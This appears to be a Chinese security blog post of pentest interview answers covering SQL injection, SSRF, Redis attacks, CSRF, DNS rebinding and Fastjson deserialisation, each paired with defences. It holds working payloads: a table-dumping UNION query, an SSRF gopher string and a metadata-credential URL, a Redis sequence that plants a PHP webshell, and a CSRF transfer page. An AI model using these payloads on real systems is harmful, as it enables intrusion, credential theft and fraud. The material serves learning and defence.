安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
[3. 渗透测试流程](#3. 渗透测试流程)
[4. SQL注入原理及Payload](#4. SQL注入原理及Payload)
[5. SQL注入空格绕过技术](#5. SQL注入空格绕过技术)
[6. SQL注入防御及预处理局限性](#6. SQL注入防御及预处理局限性)
[7. 同源策略(SOP)](#7. 同源策略(SOP))
[8. a.baidu.com 与b.baidu.com 同源判断](#8. a.baidu.com 与b.baidu.com 同源判断)
[9. SSRF原理与利用](#9. SSRF原理与利用)
[10. Redis攻击Payload](#10. Redis攻击Payload)
[11. CSRF原理与防御](#11. CSRF原理与防御)
[12. JSON格式CSRF利用技巧](#12. JSON格式CSRF利用技巧)
[13. SameSite属性](#13. SameSite属性)
[14. DNS重绑定攻击](#14. DNS重绑定攻击)
[15. Fastjson反序列化漏洞与修复](#15. Fastjson反序列化漏洞与修复)
[16. 子域名枚举工具与响应码200问题](#16. 子域名枚举工具与响应码200问题)
[17. Java掌握程度](#17. Java掌握程度)
3.渗透测试的流程 4.SQL注入原理,及常用payload(手写-爆表名) 5.SQL注入空格不能使用如何绕过 6.SQL注入防御,延申预处理不能预防哪些注入 7.同源策略 8.a.baidu.com和b.baidu.com是否同源 9.SSRF原理,利用 10.攻击redis的方式(手写payload) 11.CSRF的原理及防御 12.一种特殊的CSRF场景:后端只解析json格式的时候如何利用CSRF(非更改Content-Type) 13.SameSite 14.DNS Rebinding 15.Fastjson反序列化及如何修复 16.子域名枚举用过那些工具,原理是什么,如果出现了任意子域名都返回200是什么原因? 17.Java学到哪种程度了?
3. 渗透测试流程
五阶段模型
- 情报收集
- 被动侦察(Whois、DNS记录、GitHub信息泄露)
- 主动扫描(Nmap端口扫描、Wappalyzer技术栈识别)
- 威胁建模
- 绘制攻击面(网络拓扑、API端点、第三方组件)
- 风险优先级排序(CVSS评分 + 业务影响)
- 漏洞分析
- 自动化扫描(Nessus、Burp Suite)
- 手动验证(逻辑漏洞、权限绕过)
- 渗透利用
- 武器化攻击链(Metasploit模块、自定义EXP)
- 横向移动(Pass-the-Hash、Kerberoasting)
- 报告与复测
- 漏洞详情(PoC截图、风险等级、CWE编号)
- 修复建议(代码示例 + 配置加固方案)
4. SQL注入原理及Payload
原理 :未过滤用户输入,使攻击者拼接恶意SQL语句,破坏查询逻辑。
爆表名Payload (MySQL示例):sql
`' UNION SELECT group_concat(table_name),2 FROM information_schema.tables WHERE table_schema=database()-- -`
关键点:
information_schema.tables
存储元数据group_concat()
合并多行结果-- -
注释后续语句
5. SQL注入空格绕过技术
当空格被过滤时,替代方案:
绕过方式 示例 适用场景 内联注释 SELECT/**/1
MySQL 括号包裹 UNION(SELECT(1))
多数数据库 特殊字符 %09
(Tab)、%0a
(换行)URL编码场景 反引号/引号 UNION`SELECT`1
MySQL反引号特性
6. SQL注入防御及预处理局限性
防御方案:
- 参数化查询(Java:
PreparedStatement
,Python:cursor.execute(%s)
)- 输入过滤(正则匹配:
/^[a-z0-9_]+$/
)- 最小权限原则(DB账号禁用
DROP
、FILE
权限)预处理无法防御的场景:
动态表名/列名
java`String query = "SELECT * FROM " + userInput; // 预处理无效! `
IN()子句参数化困难
sql`WHERE id IN (?) // 只能绑定单值,需特殊处理 `
ORDER BY动态排序
sql`ORDER BY ? // 预处理会将参数视为字符串而非列名 `
7. 同源策略(SOP)
定义 :协议+域名+端口三者完全一致才允许跨域访问。
管控范围:
- DOM访问(iframe跨域隔离)
- Cookie/Storage读取
- AJAX请求(需CORS放行)
8. a.baidu.com 与b.baidu.com 同源判断
结论 :非同源
- 原因:子域名不同(
a
vsb
)- 例外:可通过设置
document.domain = 'baidu.com'
实现次级域同源(需双方主动配置)
9. SSRF原理与利用
原理 :服务端发起未校验的网络请求,导致内网探测或协议滥用。
利用链:
http`GET /proxy?url=http://192.168.1.1/admin HTTP/1.1 `
高级利用:
Redis未授权访问
http`gopher://127.0.0.1:6379/_*2%0d%0a$4%0d%0aAUTH%0d%0a$16%0d%0a攻击者密码%0d%0a `
云元数据泄露
http`http://169.254.169.254/latest/meta-data/iam/security-credentials/`
10. Redis攻击Payload
写Webshell(需绝对路径):
bash`redis-cli -h 目标IP flushall set shell "<?php system($_GET['cmd']);?>" config set dir /var/www/html config set dbfilename shell.php save `
11. CSRF原理与防御
原理 :诱导用户会话中触发恶意请求(如转账链接)。
防御方案:
方法 实现 CSRF Token 表单隐藏字段 + 服务端校验 SameSite Cookie Set-Cookie: key=val; SameSite=Strict
验证Referer/Origin 检查请求来源域名
12. JSON格式CSRF利用技巧
场景 :后端仅接受
Content-Type: application/json
时,传统表单无效。
绕过方案:
Flash + 307跳转(已淘汰)
JSONP劫持(仅GET请求)
构造恶意页面 :
html`<script> fetch('https://api.com/transfer', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({to: 'attacker', amount: 1000}) }) </script>`
前提 :用户Cookie未设置
SameSite=Lax/Strict
13. SameSite属性
模式 跨站请求携带Cookie 典型场景 None 允许 需HTTPS + 显式声明 Lax GET请求允许 外部链接跳转 Strict 禁止 敏感操作
14. DNS重绑定攻击
原理 :利用DNS响应TTL过期后返回新IP(如先指向攻击者IP,再绑定
127.0.0.1
),绕过同源策略访问内网。
防御:
- 应用层验证Host头
- 防火墙限制内网访问
15. Fastjson反序列化漏洞与修复
漏洞根源 :
@type
属性指定任意类,触发JNDI注入(如com.sun.rowset.JdbcRowSetImpl
)。
修复方案:
- 升级至1.2.83+ 并开启
safeMode
- 黑白名单控制(
ParserConfig.getGlobalInstance().addDeny()
)- 替换Gson/Jackson等更安全库
16. 子域名枚举工具与响应码200问题
工具与原理:
工具 原理 Sublist3r 聚合搜索引擎数据(Google/SSL证书等) Amass DNS暴力破解 + WHOIS反查 Assetfinder 递归查询NS记录 全子域名返回200的可能原因:
- 通配符DNS解析 :
*.example.com → 同一IP
- 统一错误页面:所有未知子域名重定向至首页
- 负载均衡策略:未配置默认后端服务
验证方法:
bash`host random12345.example.com # 检查随机子域名是否解析 `
17. Java掌握程度
安全视角的Java能力:
- 漏洞分析:熟悉反射、类加载、JNDI等底层机制(支撑反序列化漏洞利用)
- 安全编码 :
- 避免
Runtime.exec()
,改用ProcessBuilder
- 密码存储用
BCryptPasswordEncoder
- 框架安全 :
- Spring Security配置(CSRF防护、CORS策略)
- Shiro权限绕过漏洞原理
- JVM调优 :内存马检测(分析
java.lang.ClassLoader.defineClass
调用栈)
回答总结
- 技术深度覆盖:从注入漏洞到协议级攻击(如DNS重绑定)
- 防御实践导向:每个漏洞均提供可落地的修复方案
- 前沿场景适配:JSON CSRF、SameSite策略等新威胁详解